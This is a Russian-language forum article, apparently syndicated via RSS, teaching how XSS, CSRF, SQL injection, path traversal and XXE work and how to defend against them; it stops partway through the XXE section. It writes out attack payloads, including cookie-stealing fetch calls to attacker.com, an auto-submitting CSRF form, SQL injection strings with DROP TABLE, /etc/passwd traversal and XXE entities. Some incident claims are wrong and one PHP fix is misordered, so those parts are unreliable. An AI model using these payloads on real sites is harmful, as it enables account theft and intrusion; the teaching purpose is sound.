<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[XSS, CSRF и другие web-уязвимости — как они работают и как защищаться]]></title><description><![CDATA[<p dir="auto">Вы когда-нибудь задумывались, почему заполненная форма на сайте передаёт данные без проверки? Или почему браузер может выполнить любой JavaScript, вставленный в страницу? Именно эти упущения становятся открытыми дверями для киберпреступников.</p>
<p dir="auto">Веб-приложения — это огромная мишень. Банки, магазины, форумы — все они хранят чувствительные данные. И если защита слабая, злоумышленник может украсть пароли, перевести деньги, изменить пароли, подделать запросы и причинить ещё много неприятностей.</p>
<p dir="auto">Эта статья разберёт основные уязвимости, покажет, как они работают на практике, и — самое главное — как их предотвратить. Без лишней воды, только факты и примеры.</p>
<hr />
<h2>1. XSS (Cross-Site Scripting) — межсайтовый скриптинг</h2>
<h3>Что это такое</h3>
<p dir="auto"><strong>XSS</strong> — это уязвимость, которая позволяет злоумышленнику внедрить вредоносный JavaScript-код в страницу, которую будут смотреть другие пользователи. Когда браузер загружает эту страницу, скрипт выполняется и может:</p>
<ul>
<li>Украсть cookies пользователя</li>
<li>Перехватить данные с формы</li>
<li>Перенаправить пользователя на фальшивый сайт</li>
<li>Модифицировать содержимое страницы</li>
<li>Выполнить любое действие от имени пользователя</li>
</ul>
<h3>Почему это работает</h3>
<p dir="auto">Браузер <strong>доверяет</strong> серверу. Если сервер вернул HTML со скриптом, браузер выполнит этот скрипт, не задавая вопросов. Проблема возникает, когда на странице оказывается код, который сервер получил от <strong>пользователя</strong>.</p>
<h3>Три типа XSS</h3>
<h4>1.1 Stored XSS (Постоянная XSS)</h4>
<p dir="auto">Вредоносный код <strong>сохраняется на сервере</strong> и выполняется у всех пользователей, которые посещают страницу.</p>
<p dir="auto"><strong>Пример атаки:</strong></p>
<p dir="auto">Представим форум, где можно писать комментарии. Форма принимает текст и сохраняет его в БД без проверки:</p>
<pre><code class="language-javascript">// Вредоносный комментарий
&lt;img src=x onerror="fetch('https://attacker.com/steal.php?cookie=' + document.cookie)"&gt;
</code></pre>
<p dir="auto">Когда другой пользователь откроет страницу с этим комментарием, браузер попытается загрузить несуществующее изображение, а обработчик ошибки <code>onerror</code> отправит его cookies на сервер атакующего.</p>
<p dir="auto"><strong>Реальный пример:</strong> Magecart + Newegg (2015). Хакеры внедрили вредоносный JavaScript на страницу оформления заказа в интернет-магазине. Скрипт кал данные всех покупателей и отправлял их на сервер злоумышленника. Украдено более 7 миллионов карт.</p>
<p dir="auto"><strong>Защита:</strong></p>
<pre><code class="language-php">// ❌ УЯЗВИМО
$comment = $_POST['comment'];
$query = "INSERT INTO comments (text) VALUES ('$comment')";

// ✅ ПРАВИЛЬНО
$comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO comments (text) VALUES (?)";
$stmt = $conn-&gt;prepare($query);
$stmt-&gt;bind_param("s", $comment);
$stmt-&gt;execute();
</code></pre>
<p dir="auto">Функция <code>htmlspecialchars()</code> преобразует опасные символы:</p>
<ul>
<li><code>&lt;</code> → <code>&amp;lt;</code></li>
<li><code>&gt;</code> → <code>&amp;gt;</code></li>
<li><code>"</code> → <code>&amp;quot;</code></li>
<li><code>'</code> → <code>&amp;#039;</code></li>
</ul>
<p dir="auto">Теперь браузер воспримет это как текст, а не как HTML.</p>
<h4>1.2 Reflected XSS (Отраженная XSS)</h4>
<p dir="auto">Вредоносный код <strong>не сохраняется</strong>, а передаётся в URL. Сервер отражает его обратно в ответе, и браузер выполняет скрипт.</p>
<p dir="auto"><strong>Пример атаки:</strong></p>
<p dir="auto">Поисковик сайта выглядит так:</p>
<pre><code class="language-html">&lt;!-- Поле поиска --&gt;
&lt;input type="text" name="q"&gt;

&lt;!-- Результаты поиска --&gt;
&lt;?php
    $search = $_GET['q'];
    echo "Вы искали: " . $search;
?&gt;
</code></pre>
<p dir="auto">Злоумышленник создаёт ссылку:</p>
<pre><code>https://example.com/search.php?q=&lt;script&gt;alert('Hacked!')&lt;/script&gt;
</code></pre>
<p dir="auto">Когда жертва нажимает эту ссылку, сервер возвращает страницу с внедрённым скриптом:</p>
<pre><code class="language-html">Вы искали: &lt;script&gt;alert('Hacked!')&lt;/script&gt;
</code></pre>
<p dir="auto">Браузер выполняет скрипт. Вместо <code>alert()</code> в реальной атаке это будет кража cookies:</p>
<pre><code>https://example.com/search.php?q=&lt;script&gt;fetch('https://attacker.com/steal?c='+document.cookie)&lt;/script&gt;
</code></pre>
<p dir="auto"><strong>Реальный пример:</strong> British Airways (2018). Фишинговая ссылка со встроенным XSS-скриптом заставляла пользователей вводить данные своих кредитных карт на поддельной форме. Украдено 380 тысяч записей о платёжах.</p>
<p dir="auto"><strong>Защита:</strong></p>
<pre><code class="language-php">// ❌ УЯЗВИМО
$search = $_GET['q'];
echo "Вы искали: " . $search;

// ✅ ПРАВИЛЬНО
$search = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "Вы искали: " . $search;
</code></pre>
<p dir="auto"><strong>Дополнительный уровень:</strong> Используйте <code>CSP</code> (Content Security Policy) заголовок:</p>
<pre><code>Content-Security-Policy: script-src 'self'
</code></pre>
<p dir="auto">Этот заголовок говорит браузеру: “Выполняй скрипты только с одного домена (моего)”. Внедрённые скрипты блокируются автоматически.</p>
<h4>1.3 DOM-Based XSS</h4>
<p dir="auto">Вредоносный код работает <strong>в браузере</strong>, не обращаясь к серверу. Проблема в том, что JavaScript использует небезопасные методы для работы с DOM.</p>
<p dir="auto"><strong>Пример атаки:</strong></p>
<pre><code class="language-html">&lt;!-- HTML --&gt;
&lt;div id="output"&gt;&lt;/div&gt;

&lt;!-- JavaScript --&gt;
&lt;script&gt;
    var query = new URLSearchParams(window.location.search).get('search');
    document.getElementById('output').innerHTML = query;
&lt;/script&gt;
</code></pre>
<p dir="auto">Если открыть <code>https://example.com/?search=&lt;img src=x onerror="alert('XSS')"&gt;</code>, в переменную <code>query</code> попадёт строка с тегом, и <code>innerHTML</code> добавит его в DOM как HTML, а не как текст.</p>
<p dir="auto"><strong>Защита:</strong></p>
<pre><code class="language-javascript">// ❌ УЯЗВИМО - добавляет HTML
document.getElementById('output').innerHTML = query;

// ✅ ПРАВИЛЬНО - добавляет как текст
document.getElementById('output').textContent = query;

// ✅ АЛЬТЕРНАТИВА - явное экранирование
function escapeHtml(text) {
    const map = {
        '&amp;': '&amp;amp;',
        '&lt;': '&amp;lt;',
        '&gt;': '&amp;gt;',
        '"': '&amp;quot;',
        "'": '&amp;#039;'
    };
    return text.replace(/[&amp;&lt;&gt;"']/g, m =&gt; map[m]);
}
document.getElementById('output').innerHTML = escapeHtml(query);
</code></pre>
<h3>Как защищаться от XSS</h3>
<p dir="auto"><strong>На стороне сервера:</strong></p>
<ol>
<li><strong>Валидация входных данных</strong> — убедитесь, что получили именно то, чего ожидали</li>
<li><strong>Экранирование на выходе</strong> — преобразуйте опасные символы перед вывод в HTML</li>
<li><strong>Используйте ORM/параметризованные запросы</strong> — передавайте данные отдельно от кода</li>
</ol>
<p dir="auto"><strong>На стороне клиента:</strong></p>
<ol>
<li><strong>CSP заголовок</strong> — ограничивает источники скриптов</li>
<li><strong>Используйте <code>textContent</code> вместо <code>innerHTML</code></strong> — добавляет текст, а не HTML</li>
<li><strong>Библиотеки</strong> — используйте шаблонизаторы вроде Handlebars, которые автоматически экранируют данные</li>
</ol>
<p dir="auto"><strong>Пример на Node.js/Express:</strong></p>
<pre><code class="language-javascript">const express = require('express');
const helmet = require('helmet');
const app = express();

// Добавляем CSP заголовок
app.use(helmet.contentSecurityPolicy({
    directives: {
        scriptSrc: ["'self'"]
    }
}));

app.get('/comment', (req, res) =&gt; {
    const comment = req.query.text;
    // Экранируем перед выводом
    const safe = comment
        .replace(/&amp;/g, '&amp;amp;')
        .replace(/&lt;/g, '&amp;lt;')
        .replace(/&gt;/g, '&amp;gt;')
        .replace(/"/g, '&amp;quot;')
        .replace(/'/g, '&amp;#039;');
    
    res.send(`&lt;p&gt;${safe}&lt;/p&gt;`);
});
</code></pre>
<hr />
<h2>2. CSRF (Cross-Site Request Forgery) — подделка межсайтовых запросов</h2>
<h3>Что это такое</h3>
<p dir="auto"><strong>CSRF</strong> — это атака, при которой злоумышленник <strong>заставляет</strong> пользователя выполнить нежелательное действие на сайте, на котором тот авторизован, не зная пароля и не касаясь учётных данных.</p>
<h3>Почему это опасно</h3>
<p dir="auto">Браузер <strong>автоматически</strong> отправляет cookies при каждом запросе к сайту. Если пользователь авторизован на банке и одновременно открыл страницу злоумышленника, браузер отправит cookies банка с запросом от мошенника.</p>
<h3>Как это работает</h3>
<p dir="auto"><strong>Сценарий атаки:</strong></p>
<ol>
<li>Вы заходите в свой банк и авторизуетесь</li>
<li>Вы открываете новую вкладку и посещаете <code>evil.com</code></li>
<li>На <code>evil.com</code> есть скрытая форма:</li>
</ol>
<pre><code class="language-html">&lt;form action="https://bank.com/transfer" method="POST" style="display:none;"&gt;
    &lt;input name="to" value="attacker"&gt;
    &lt;input name="amount" value="1000"&gt;
&lt;/form&gt;
&lt;script&gt;
    document.forms[0].submit(); // Автоматически отправляет форму
&lt;/script&gt;
</code></pre>
<ol start="4">
<li>Браузер отправляет POST-запрос на <code>bank.com</code>, <strong>автоматически</strong> приложив ваши cookies</li>
<li>Банк проверяет cookies, видит, что вы авторизованы, и выполняет перевод</li>
<li>1000 рублей переводятся на счёт атакующего</li>
</ol>
<p dir="auto">Банк не знает, что это <strong>вы</strong> не отправили запрос. Для него это выглядит как легитимный запрос от авторизованного пользователя.</p>
<p dir="auto"><strong>Реальный пример:</strong> Уязвимость в почте Gmail позволяла отправлять письма от имени пользователя, если тот открыл специальную ссылку. Twitter, YouTube и многие другие сервисы пережили подобные атаки.</p>
<h3>Условия для успешной CSRF-атаки</h3>
<ol>
<li><strong>Действие должно измен состояние</strong> — банковский перевод, смена пароля, удаление аккаунта</li>
<li><strong>Параметры известны атакующему</strong> — номер счёта, сумма, и т.д.</li>
<li><strong>Аутентификация основана только на cookies</strong> — нет дополнительных проверок</li>
</ol>
<h3>Защита от CSRF</h3>
<h4>2.1 CSRF-токены</h4>
<p dir="auto">Сервер генерирует <strong>уникальный токен</strong> для каждой формы. При отправке формы клиент должен передать этот токен. Сервер проверяет совпадение.</p>
<p dir="auto">Злоумышленник не может получить токен, потому что он не может читать ответ с другого домена (работает Same Origin Policy).</p>
<p dir="auto"><strong>Пример на PHP:</strong></p>
<pre><code class="language-php">// На странице с формой
session_start();
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); // Генерируем токен
}
?&gt;

&lt;form action="transfer.php" method="POST"&gt;
    &lt;input type="hidden" name="csrf_token" value="&lt;?= $_SESSION['csrf_token'] ?&gt;"&gt;
    &lt;input type="text" name="to" placeholder="Кому"&gt;
    &lt;input type="number" name="amount" placeholder="Сумма"&gt;
    &lt;button type="submit"&gt;Отправить&lt;/button&gt;
&lt;/form&gt;

&lt;?php
// На странице обработки (transfer.php)
session_start();

if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
    die('CSRF token invalid');
}

// Выполняем перевод
$to = $_POST['to'];
$amount = $_POST['amount'];
// ... логика перевода
</code></pre>
<p dir="auto"><code>hash_equals()</code> сравнивает строки <strong>защищенным от timing-атак</strong> способом.</p>
<p dir="auto"><strong>Пример на Node.js/Express:</strong></p>
<pre><code class="language-javascript">const express = require('express');
const session = require('express-session');
const csrf = require('csurf');
const app = express();

app.use(session({ secret: 'secret' }));
app.use(express.urlencoded({ extended: false }));

// Middleware для защиты CSRF
const csrfProtection = csrf({ cookie: false });

// Форма с CSRF-токеном
app.get('/transfer', csrfProtection, (req, res) =&gt; {
    res.send(`
        &lt;form action="/transfer" method="POST"&gt;
            &lt;input type="hidden" name="_csrf" value="${req.csrfToken()}"&gt;
            &lt;input name="to" placeholder="Кому"&gt;
            &lt;input name="amount" placeholder="Сумма"&gt;
            &lt;button type="submit"&gt;Отправить&lt;/button&gt;
        &lt;/form&gt;
    `);
});

// Обработка формы
app.post('/transfer', csrfProtection, (req, res) =&gt; {
    // Middleware автоматически проверит токен
    const { to, amount } = req.body;
    // ... логика перевода
    res.send('Перевод выполнен');
});
</code></pre>
<h4>2.2 SameSite Cookie флаг</h4>
<p dir="auto">Современные браузеры поддерживают флаг <code>SameSite</code> для cookies. Этот флаг говорит: “Отправляй эту cookie только для запросов с одного домена”.</p>
<p dir="auto"><strong>Варианты:</strong></p>
<ul>
<li><code>SameSite=Strict</code> — cookie отправляется <strong>только</strong> при прямом переходе на сайт (из адресной строки, закладок)</li>
<li><code>SameSite=Lax</code> — cookie отправляется при переходах со ссылок, но <strong>не</strong> при POST-запросах с других сайтов</li>
<li><code>SameSite=None; Secure</code> — cookie отправляется везде (нужен HTTPS)</li>
</ul>
<p dir="auto"><strong>Пример:</strong></p>
<pre><code class="language-php">// В Response-заголовке
setcookie('session_id', $value, [
    'expires' =&gt; time() + 3600,
    'path' =&gt; '/',
    'domain' =&gt; 'example.com',
    'secure' =&gt; true,
    'httponly' =&gt; true,
    'samesite' =&gt; 'Lax'
]);
</code></pre>
<p dir="auto">Если установить <code>SameSite=Lax</code>, браузер <strong>не отправит</strong> cookie при POST-запросе с <code>evil.com</code>, что сделает CSRF-атаку невозможной.</p>
<h4>2.3 Проверка Referer-заголовка</h4>
<p dir="auto">Заголовок <code>Referer</code> указывает, с какого сайта пришёл запрос. Сервер может проверить, что запрос пришёл с его же домена:</p>
<pre><code class="language-php">if (parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) !== $_SERVER['HTTP_HOST']) {
    die('Invalid referer');
}
</code></pre>
<p dir="auto"><strong>Но это ненадёжно:</strong> пользователь может отключить отправку Referer в браузере.</p>
<h3>Лучший подход — комбинация методов</h3>
<p dir="auto">Используйте одновременно:</p>
<ol>
<li><strong>CSRF-токены</strong> — основная защита</li>
<li><strong>SameSite cookies</strong> — дополнительная линия защиты</li>
<li><strong>POST вместо GET</strong> — для всех критических действий</li>
</ol>
<hr />
<h2>3. SQL Injection — SQL-инъекция</h2>
<h3>Что это такое</h3>
<p dir="auto"><strong>SQL Injection</strong> — это атака, при которой злоумышленник внедряет SQL-код в пользовательский ввод, позволяя ему <strong>переписать запрос</strong> и выполнить произвольные команды в БД.</p>
<h3>Почему это опасно</h3>
<p dir="auto">SQL-инъекция — одна из <strong>самых старых и опасных</strong> уязвимостей. Через неё можно:</p>
<ul>
<li>Читать данные из любой таблицы</li>
<li>Изменять или удалять данные</li>
<li>Обходить аутентификацию</li>
<li>В некоторых системах даже выполнить код на сервере</li>
</ul>
<h3>Как это работает</h3>
<p dir="auto"><strong>Пример уязвивого кода:</strong></p>
<pre><code class="language-php">$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) &gt; 0) {
    // Пользователь найден
}
</code></pre>
<p dir="auto"><strong>Атака 1: Обход аутентификации</strong></p>
<p dir="auto">Злоумышленник вводит в поле username:</p>
<pre><code>' OR '1'='1' --
</code></pre>
<p dir="auto">Запрос становится:</p>
<pre><code class="language-sql">SELECT * FROM users WHERE username = '' OR '1'='1' -- AND password = ''
</code></pre>
<p dir="auto">Условие <code>'1'='1'</code> <strong>всегда истинно</strong>, поэтому запрос вернёт <strong>всех пользователей</strong>. Символ <code>--</code> комментирует остаток запроса.</p>
<p dir="auto">Если код проверяет только наличие результатов, атакующий получит доступ к первому же пользователю в таблице (часто это admin).</p>
<p dir="auto"><strong>Атака 2: Извлечение данных</strong></p>
<p dir="auto">Представим форму поиска товаров:</p>
<pre><code class="language-php">$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id";
</code></pre>
<p dir="auto">Злоумышленник подставляет:</p>
<pre><code>1 UNION SELECT null, password, null FROM users WHERE id=1--
</code></pre>
<p dir="auto">Запрос становится:</p>
<pre><code class="language-sql">SELECT * FROM products WHERE id = 1 UNION SELECT null, password, null FROM users WHERE id=1--
</code></pre>
<p dir="auto">Он извлекает пароли из таблицы users, подделав результаты поиска товаров.</p>
<p dir="auto"><strong>Атака 3: Модификация данных</strong></p>
<pre><code>1; UPDATE users SET password='hacked' WHERE username='admin';--
</code></pre>
<p dir="auto">Запрос становится:</p>
<pre><code class="language-sql">SELECT * FROM users WHERE id = 1; UPDATE users SET password='hacked' WHERE username='admin';--
</code></pre>
<p dir="auto">Здесь выполняются <strong>два запроса</strong>, и пароль администратора изменяется.</p>
<p dir="auto"><strong>Реальный пример:</strong> Столкновения с SQL-инъекцией происходят постоянно. В 2019 году была взломана Twitter через SQL-инъекцию, где хакеры получили доступ к 130 миллионам пользовательских записей.</p>
<h3>Защита от SQL Injection</h3>
<h4>3.1 Параметризованные запросы (Prepared Statements)</h4>
<p dir="auto">Это <strong>самый надёжный способ</strong>. Запрос отправляется в двух частях:</p>
<ol>
<li><strong>Шаблон</strong> — структура запроса с плейсхолдерами</li>
<li><strong>Параметры</strong> — данные, которые подставляются в плейсхолдеры</li>
</ol>
<p dir="auto">Плейсхолдеры <strong>не интерпретируются как SQL-код</strong>, поэтому инъекция невозможна.</p>
<p dir="auto"><strong>Пример на PHP (MySQLi):</strong></p>
<pre><code class="language-php">// ❌ УЯЗВИМО
$query = "SELECT * FROM users WHERE username = '$username'";

// ✅ ПРАВИЛЬНО
$query = "SELECT * FROM users WHERE username = ?";
$stmt = $conn-&gt;prepare($query);
$stmt-&gt;bind_param("s", $username);
$stmt-&gt;execute();
$result = $stmt-&gt;get_result();
</code></pre>
<p dir="auto"><strong>Пример на Node.js (PostgreSQL):</strong></p>
<pre><code class="language-javascript">const pg = require('pg');
const client = new pg.Client();

// ❌ УЯЗВИМО
const query = `SELECT * FROM users WHERE username = '${username}'`;

// ✅ ПРАВИЛЬНО
const query = 'SELECT * FROM users WHERE username = $1';
const result = await client.query(query, [username]);
</code></pre>
<p dir="auto"><strong>Пример на Python (SQLite):</strong></p>
<pre><code class="language-python">import sqlite3

# ❌ УЯЗВИМО
query = f"SELECT * FROM users WHERE username = '{username}'"

# ✅ ПРАВИЛЬНО
query = "SELECT * FROM users WHERE username = ?"
cursor.execute(query, (username,))
</code></pre>
<h4>3.2 ORM-фреймворки</h4>
<p dir="auto">ORM (Object-Relational Mapping) автоматически использует параметризованные запросы:</p>
<p dir="auto"><strong>Пример на Node.js (Sequelize):</strong></p>
<pre><code class="language-javascript">// Параметризованный запрос под капотом
const user = await User.findOne({ where: { username } });
</code></pre>
<p dir="auto"><strong>Пример на Python (SQLAlchemy):</strong></p>
<pre><code class="language-python"># Параметризованный запрос
user = session.query(User).filter(User.username == username).first()
</code></pre>
<h4>3.3 Валидация входных данных</h4>
<p dir="auto">Всегда проверяйте, что получили ожидаемый тип и формат:</p>
<pre><code class="language-php">$id = intval($_GET['id']); // Преобразуем в число
if ($id &lt;= 0) {
    die('Invalid ID');
}
$query = "SELECT * FROM products WHERE id = $id";
</code></pre>
<h4>3.4 Принцип наименьших привилегий</h4>
<p dir="auto">Учётная запись БД, которая используется в приложении, должна иметь <strong>минимальные необходимые права</strong>:</p>
<pre><code class="language-sql">-- ❌ ОПАСНО
CREATE USER app WITH PASSWORD 'pass';
GRANT ALL PRIVILEGES ON DATABASE mydb TO app;

-- ✅ ПРАВИЛЬНО
CREATE USER app WITH PASSWORD 'pass';
GRANT SELECT, INSERT, UPDATE ON tables TO app;
-- Без DELETE, DROP, и других опасных команд
</code></pre>
<p dir="auto">Если хакер выполнит <code>DROP TABLE</code>, этот пользователь не сможет это сделать.</p>
<h3>Как обнаружить SQL-инъекцию на практике</h3>
<p dir="auto"><strong>Поиск уязвимых параметров:</strong></p>
<p dir="auto">Подставляйте специальные символы: <code>'</code>, <code>"</code>, <code>;</code>, <code>--</code>, <code>/*</code>, и смотрите на ошибки SQL:</p>
<pre><code>https://example.com/product.php?id=1'
https://example.com/product.php?id=1 OR 1=1
https://example.com/product.php?id=1; DROP TABLE users;--
</code></pre>
<p dir="auto"><strong>Автоматизированные инструменты:</strong></p>
<ul>
<li><strong>SQLMap</strong> — автоматически ищет и эксплуатирует SQL-инъекции</li>
<li><strong>Burp Suite</strong> — профессиональный инструмент для тестирования безопасности</li>
</ul>
<hr />
<h2>4. Path Traversal — обход директорий</h2>
<h3>Что это такое</h3>
<p dir="auto"><strong>Path Traversal</strong> — это атака, при которой злоумышленник читает или модифицирует файлы за пределами предназначенной директории.</p>
<h3>Как это работает</h3>
<p dir="auto">Представим приложение, которое отправляет файлы из папки <code>/var/www/uploads</code>:</p>
<pre><code class="language-php">$file = $_GET['file'];
$path = "/var/www/uploads/" . $file;
$content = file_get_contents($path);
echo $content;
</code></pre>
<p dir="auto">Для просмотра файла <code>picture.jpg</code> используется:</p>
<pre><code>https://example.com/download.php?file=picture.jpg
</code></pre>
<p dir="auto">Но что если вместо <code>picture.jpg</code> подставить <code>../../../etc/passwd</code>?</p>
<pre><code>https://example.com/download.php?file=../../../etc/passwd
</code></pre>
<p dir="auto">Путь становится:</p>
<pre><code>/var/www/uploads/../../../etc/passwd
</code></pre>
<p dir="auto">Который упрощается до:</p>
<pre><code>/etc/passwd
</code></pre>
<p dir="auto">Файл <code>/etc/passwd</code> содержит <strong>имена всех пользователей системы</strong> (и хешированные пароли). Атакующий получает ценную информацию.</p>
<p dir="auto"><strong>Реальный пример:</strong> Множество веб-приложений для скачивания файлов имели такие уязвимости. Злоумышленники получали доступ к конфигурационным файлам (<code>.env</code>, <code>config.php</code>), где хранятся пароли от БД.</p>
<h3>Другие варианты атак</h3>
<p dir="auto"><strong>Альтернативная кодировка:</strong></p>
<pre><code>https://example.com/download.php?file=..%2F..%2F..%2Fetc%2Fpasswd
</code></pre>
<p dir="auto">Здесь <code>%2F</code> — это URL-кодировка <code>/</code>.</p>
<p dir="auto"><strong>Абсолютный путь:</strong></p>
<pre><code>https://example.com/download.php?file=/etc/passwd
</code></pre>
<p dir="auto">В некоторых языках (например, на .NET) абсолютный путь игнорирует базовую директорию.</p>
<h3>Защита от Path Traversal</h3>
<h4>4.1 Избегайте конкатенации путей</h4>
<p dir="auto"><strong><img src="https://forum.exlends.ru/assets/plugins/nodebb-plugin-emoji/emoji/android/274c.png?v=a1e94250dac" class="not-responsive emoji emoji-android emoji--x" style="height:23px;width:auto;vertical-align:middle" title="❌" alt="❌" /> УЯЗВИМО:</strong></p>
<pre><code class="language-php">$file = $_GET['file'];
$path = "/var/www/uploads/" . $file;
</code></pre>
<p dir="auto"><strong><img src="https://forum.exlends.ru/assets/plugins/nodebb-plugin-emoji/emoji/android/2705.png?v=a1e94250dac" class="not-responsive emoji emoji-android emoji--white_check_mark" style="height:23px;width:auto;vertical-align:middle" title="✅" alt="✅" /> ПРАВИЛЬНО:</strong></p>
<pre><code class="language-php">// Проверяем, что путь не содержит ..
$file = $_GET['file'];
if (strpos($file, '..') !== false) {
    die('Invalid path');
}
$path = "/var/www/uploads/" . $file;
</code></pre>
<p dir="auto">Но это не надёжно! Можно использовать кодировку или другие обходы.</p>
<h4>4.2 Используйте белый список</h4>
<p dir="auto">Лучше всего — явно указать, какие файлы доступны:</p>
<pre><code class="language-php">$allowed_files = ['picture.jpg', 'document.pdf', 'report.xlsx'];
$file = $_GET['file'];

if (!in_array($file, $allowed_files)) {
    die('File not allowed');
}

$path = "/var/www/uploads/" . $file;
$content = file_get_contents($path);
</code></pre>
<h4>4.3 Используйте встроенные функции</h4>
<p dir="auto">Функция <code>realpath()</code> преобразует путь в <strong>абсолютный</strong> и разрешает все <code>../</code>:</p>
<pre><code class="language-php">$file = $_GET['file'];
$base_dir = realpath("/var/www/uploads");
$real_path = realpath("/var/www/uploads/" . $file);

// Проверяем, что результирующий путь начинается с базовой директории
if (strpos($real_path, $base_dir) !== 0) {
    die('Access denied');
}

$content = file_get_contents($real_path);
</code></pre>
<p dir="auto">На Node.js:</p>
<pre><code class="language-javascript">const path = require('path');
const fs = require('fs');

const baseDir = path.resolve(__dirname, 'uploads');
const file = req.query.file;
const fullPath = path.resolve(baseDir, file);

// Проверяем, что путь внутри baseDir
if (!fullPath.startsWith(baseDir)) {
    return res.status(403).send('Access denied');
}

fs.readFile(fullPath, (err, data) =&gt; {
    if (err) return res.status(404).send('Not found');
    res.send(data);
});
</code></pre>
<h4>4.4 Используйте ID вместо имён файлов</h4>
<p dir="auto">Самый надёжный подход — хранить файлы в БД или использовать ID:</p>
<pre><code class="language-php">$file_id = (int)$_GET['id']; // Приводим к числу
$row = $db-&gt;query("SELECT filename FROM files WHERE id = ?", [$file_id]);
$real_filename = $row['filename'];
$path = "/var/www/uploads/" . $real_filename;
$content = file_get_contents($path);
</code></pre>
<p dir="auto">Теперь атакующий не может просто угадать пути, потому что файлы идентифицируются по ID, а не по имени.</p>
<hr />
<h2>5. XXE (XML External Entity Injection)</h2>
<h3>Что это такое</h3>
<p dir="auto"><strong>XXE</strong> — это атака, при которой злоумышленник внедряет вредоносные XML-сущности, чтобы получить доступ к файлам на сервере или выполнить атаку типа SSRF.</p>
<h3>Как это работает</h3>
<p dir="auto">XML поддерживает <strong>внешние сущности</strong> — ссылки на файлы. Если приложение неправильно настроено, сущности могут быть использованы для чтения файлов.</p>
<p dir="auto"><strong>Пример уязвивого кода:</strong></p>
<pre><code class="language-php">$xml = $_POST['xml'];
$dom = new DOMDocument();
$dom-&gt;load('php://memory', $xml); // ОПАСНО: загружает XML без проверки
</code></pre>
<p dir="auto"><strong>Вредоносный XML:</strong></p>
<pre><code class="language-xml">&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;!DOCTYPE foo [
  &lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&gt;
]&gt;
&lt;shop&gt;
  &lt;itemID&gt;&amp;xxe;&lt;/itemID&gt;
&lt;/shop&gt;
</code></pre>
<p dir="auto">При парсинге XML-парсер подставит содержимое файла <code>/etc/passwd</code> вместо <code>&amp;xxe;</code>. Если приложение выводит значение <code>itemID</code>, атакующий прочитает содержимое файла.</p>
<p dir="auto"><strong>Более сложный пример — SSRF-атака:</strong></p>
<pre><code class="language-xml">&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;!DOCTYPE foo [
  &lt;!ENTITY xxe SYSTEM "http://internal-server:8080/admin"&gt;
]&gt;
&lt;data&gt;
  &lt;request&gt;&amp;xxe;&lt;/request&gt;
&lt;/data&gt;
</code></pre>
<p dir="auto">Здесь XML-парсер делает запрос к внутреннему серверу (который недоступен извне), и результат попадает в ответ.</p>
<p dir="auto"><strong>Billion Laughs DoS-атака:</strong></p>
<pre><code class="language-xml">&lt;?xml version="1.0"?&gt;
&lt;!DOCTYPE lolz [
  &lt;!ENTITY lol "lol"&gt;
  &lt;!ENTITY lol2 "&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;"&gt;
  &lt;!ENTITY lol3 "&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;"&gt;
  &lt;!ENTITY lol4 "&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;"&gt;
]&gt;
&lt;lolz&gt;&amp;lol4;&lt;/lolz&gt;
</code></pre>
<p dir="auto">Каждый уровень умножает данные в 10 раз. <code>lol4</code> содержит 10 миллиардов “lol”. XML-парсер исчерпывает память и падает.</p>
<h3>Защита от XXE</h3>
<h4>5.1 Отключите внешние сущности</h4>
<p dir="auto"><strong>На PHP:</strong></p>
<pre><code class="language-php">$dom = new DOMDocument();
$dom-&gt;load($file);

// Отключаем обработку внешних сущностей
libxml_disable_entity_loader(true);
</code></pre>
<p dir="auto">Или используйте <code>libxml_set_external_entity_loader</code>:</p>
<pre><code class="language-php">libxml_set_external_entity_loader(function($public, $system, $context) {
    return false; // Блокируем все внешние сущности
});
</code></pre>
<p dir="auto"><strong>На Node.js (с использованием <code>xml2js</code><img src="https://forum.exlends.ru/assets/plugins/nodebb-plugin-emoji/emoji/android/1f61e.png?v=a1e94250dac" class="not-responsive emoji emoji-android emoji--disappointed" style="height:23px;width:auto;vertical-align:middle" title="):" alt="😞" /></strong></p>
<pre><code class="language-javascript">const xml2js = require('xml2js');

const parser = new xml2js.Parser({
    strict: false,
    dtdtolower: false,
    normalize: false,
    normalizeTags: false,
    attrNameProcessors: undefined,
    attrValueProcessors: undefined,
    xmldecl: true,
    doctype: true,
    doctypeFn: function(doctype) {
        // Блокируем DOCTYPE
        throw new Error('DOCTYPE not allowed');
    }
});
</code></pre>
<p dir="auto"><strong>На Python:</strong></p>
<pre><code class="language-python">from lxml import etree

# Отключаем внешние сущности
parser = etree.XMLParser(resolve_entities=False, remove_blank_text=True)
tree = etree.parse(xml_file, parser)
</code></pre>
<p dir="auto">Или используйте более строгие настройки:</p>
<pre><code class="language-python">from defusedxml.ElementTree import parse as defused_parse

# Использует безопасный парсер по умолчанию
tree = defused_parse(xml_file)
</code></pre>
<h4>5.2 Валидируйте XML-схему</h4>
<p dir="auto">Используйте <strong>XML Schema</strong> (XSD) для определения, какие элементы и атрибуты допустимы:</p>
<pre><code class="language-php">$dom = new DOMDocument();
$dom-&gt;load($xml_file);

$schema_file = 'schema.xsd';
if (!$dom-&gt;schemaValidate($schema_file)) {
    die('XML does not match schema');
}
</code></pre>
<h4>5.3 Используйте безопасные библиотеки</h4>
